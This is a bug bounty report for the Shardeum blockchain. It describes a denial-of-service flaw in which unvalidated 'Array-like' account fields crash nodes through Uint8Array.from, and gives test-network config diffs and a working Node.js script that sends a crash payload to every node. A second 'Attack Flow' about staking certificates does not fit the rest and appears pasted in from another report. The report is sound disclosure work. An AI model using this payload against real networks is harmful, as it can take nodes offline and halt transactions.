#40000 [BC-Critical] Improper input validation in fixDeserializedWrappedEVMAccount leads to DOS and total network shutdown

Submitted on Feb 12th 2025 at 13:48:37 UTC by @Blockian for Audit Comp | Shardeum: Core III

• Report ID: #40000

• Report Type: Blockchain/DLT

• Report severity: Critical

• Target: https://github.com/shardeum/shardeum/tree/bugbounty

• Impacts:

  • Network not being able to confirm new transactions (total network shutdown)

Description

Note

This is the same bug that was already submitted in past contests, but was incorrectly fixed:34484 and 33941 As stated by you, all past reports expect those stated explicitly are in-scope.

Impact

Can be used to crash nodes.

Root Cause

The fixDeserializedWrappedEVMAccount function, which is commonly used throughout shardeum repositorie, does not perform validation on the passed data. It is possible to pass an "Array-like" object as the storageRoot,codeHash,codeByte,value, fields, which is accepted by Uint8Array.from used by the fixWrappedEVMAccountBuffers/ fixAccountFields functions called from fixDeserializedWrappedEVMAccount.

Attack Flow

• A malicious user legitimately calls the binary/repair_oos_accounts handler, but with a malicious account data.

• The account data is not validated before being passed to fixDeserializedWrappedEVMAccount, and causes the node to crash

Deep Dive

Trigger flow

• binary_repair_oos_accounts handler accepts a payload

• It then iterates its repairInstructions and extracts data from each instruction

const { accountID, txId, hash, accountData, targetNodeId, signedReceipt }

• It then validates targetNodeId

• It then validates accountId

• It then validates accountData.timestamp

• It then validates txId

• It then validates signedReceipt with many validations

• It then validates accountData.data

  • But not before calling calculateAccountHash

Crash flow

• calculateAccountHash calls fixDeserializedWrappedEVMAccount

• fixDeserializedWrappedEVMAccount in the case of AccountType.Account calls fixAccountFields

• fixAccountFields calls fixAccountUint8Arrays

• fixAccountUint8Arrays calls Uint8Array.from which accepts object with length field

Attack Flow

• A malicious user asks a node to sign a staking certificate, also containing fields related to "remove-by-app" or "set-global".

• The user then uses that certificate to remove a node or change the global account config, successfully passing signature validation.

Suggested Fix

Before calling Array.from validate the type is not an object, everywhere in the code.

Severity

• This is a total network shutdown which is critical.

• In addition, this is the same as the past reports which were critical.

Proof of Concept

Proof of Concept

The POC is a combination of the [[#Trigger flow]] from [[#Deep Dive]] to show calculateAccountHash can be reached by a malicious node, with a POC that shows calculateAccountHash can be used to crash.

1. Apply the following changes to shardeum:

diff --git a/src/config/index.ts b/src/config/index.ts
index 78a7c2c2..04d4e021 100644
--- a/src/config/index.ts
+++ b/src/config/index.ts
@@ -143,9 +143,9 @@ config = merge(config, {
     p2p: {
       cycleDuration: 60,
       minNodesToAllowTxs: 1, // to allow single node networks
-      baselineNodes: process.env.baselineNodes ? parseInt(process.env.baselineNodes) : 1280, // config used for baseline for entering recovery, restore, and safety. Should be equivalient to minNodes on network startup
-      minNodes: process.env.minNodes ? parseInt(process.env.minNodes) : 1280,
-      maxNodes: process.env.maxNodes ? parseInt(process.env.maxNodes) : 1280,
+      baselineNodes: process.env.baselineNodes ? parseInt(process.env.baselineNodes) : 10, // config used for baseline for entering recovery, restore, and safety. Should be equivalient to minNodes on network startup
+      minNodes: process.env.minNodes ? parseInt(process.env.minNodes) : 10,
+      maxNodes: process.env.maxNodes ? parseInt(process.env.maxNodes) : 10,
       maxJoinedPerCycle: 10,
       maxSyncingPerCycle: 10,
       maxRotatedPerCycle: process.env.maxRotatedPerCycle ? parseInt(process.env.maxRotatedPerCycle) : 1,
@@ -157,7 +157,7 @@ config = merge(config, {
       amountToShrink: 5,
       maxDesiredMultiplier: 1.2,
       maxScaleReqs: 250, // todo: this will become a variable config but this should work for a 500 node demo
-      forceBogonFilteringOn: true,
+      forceBogonFilteringOn: false,
       //these are new feature in 1.3.0, we can make them default:true in shardus-core later
 
       // 1.2.3 migration starts
@@ -218,13 +218,13 @@ config = merge(config, {
       allowActivePerCycle: 1,
 
       syncFloorEnabled: true,  //ITN initially false for rotation safety
-      syncingDesiredMinCount: 40, //ITN = 40
+      syncingDesiredMinCount: 5, //ITN = 40
 
       activeRecoveryEnabled: true,//ITN initially false for rotation safety
       allowActivePerCycleRecover: 4, 
 
       flexibleRotationEnabled: true, //ITN 1.16.1
-      flexibleRotationDelta: 10,
+      flexibleRotationDelta: 0,
 
       maxStandbyCount: 30000, //max allowed standby nodes count
       enableMaxStandbyCount: true,
@@ -295,7 +295,7 @@ config = merge(config, {
     sharding: {
       nodesPerConsensusGroup: process.env.nodesPerConsensusGroup
         ? parseInt(process.env.nodesPerConsensusGroup)
-        : 128, //128 is the final goal
+        : 10, //128 is the final goal
       nodesPerEdge: process.env.nodesPerEdge ? parseInt(process.env.nodesPerEdge) : 5,
       executeInOneShard: true,
     },
@@ -345,11 +345,11 @@ config = merge(
   config,
   {
     server: {
-      mode: 'release', // todo: must set this to "release" for public networks or get security on endpoints. use "debug"
+      mode: 'debug', // todo: must set this to "release" for public networks or get security on endpoints. use "debug"
       // for easier debugging
       debug: {
-        startInFatalsLogMode: true, // true setting good for big aws test with nodes joining under stress.
-        startInErrorLogMode: false,
+        startInFatalsLogMode: false, // true setting good for big aws test with nodes joining under stress.
+        startInErrorLogMode: true,
         verboseNestedCounters: false,
         robustQueryDebug: false,
         fakeNetworkDelay: 0,

1. Apply the following changes to core:

diff --git a/src/state-manager/AccountPatcher.ts b/src/state-manager/AccountPatcher.ts
index 12d07d36..f81b7db2 100644
--- a/src/state-manager/AccountPatcher.ts
+++ b/src/state-manager/AccountPatcher.ts
@@ -1358,6 +1358,14 @@ class AccountPatcher {
       getAccountDataByHashesBinaryHandler.handler
     )
 
+    Context.network.registerExternalPost(
+      'blockian_hashAccountData',
+      (req, res) => {
+        const calculatedAccountHash = this.app.calculateAccountHash(req.body.accountData.data)
+        res.send(calculatedAccountHash)
+      }
+    )
+
     Context.network.registerExternalGet(
       'debug-patcher-ignore-hash-updates',
       isDebugModeMiddleware,

1. Run a 10 nodes network (shardus start 10)

2. Run a json-rpc-server

3. Run the following attack script:

import axios from "axios";

const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))

async function sendHashAccountData(randomNode) {
    const accountData = {
        "data":{
            "accountType":0,
            "account":{
                "storageRoot":{
                    "data":{
                        "length": 4294967294
                    }
                },
                "codeHash":{
                    "data":{
                        "length": 4294967294
                    }
                }
            }
        }
    }
    
    console.log("Firing attack simulation")
    const data = await axios.post(`http://${randomNode.ip}:${randomNode.port}/blockian_hashAccountData`, { accountData })

    if(data.success) throw new Error(data.reason)
}

async function getNodeList() {
    console.log("Grabbing Nodelist ....");
    let res = await axios.get('http://0.0.0.0:4000/nodelist')   
    const nodelist = res.data.nodeList
    return nodelist
}

async function waitTillFinish() {
    console.log("Waiting 60 sec for transaction to be finalized");
    await sleep(60000)
}

const main = async  () => {
    let nodelist = await getNodeList()
    console.log("Node list before attack")
    console.log(nodelist)
    
    for (const node of nodelist) {
        sendHashAccountData(node)
    }
    await waitTillFinish()
    
    console.log("Node list after attack")
    console.log(await getNodeList())
}

main();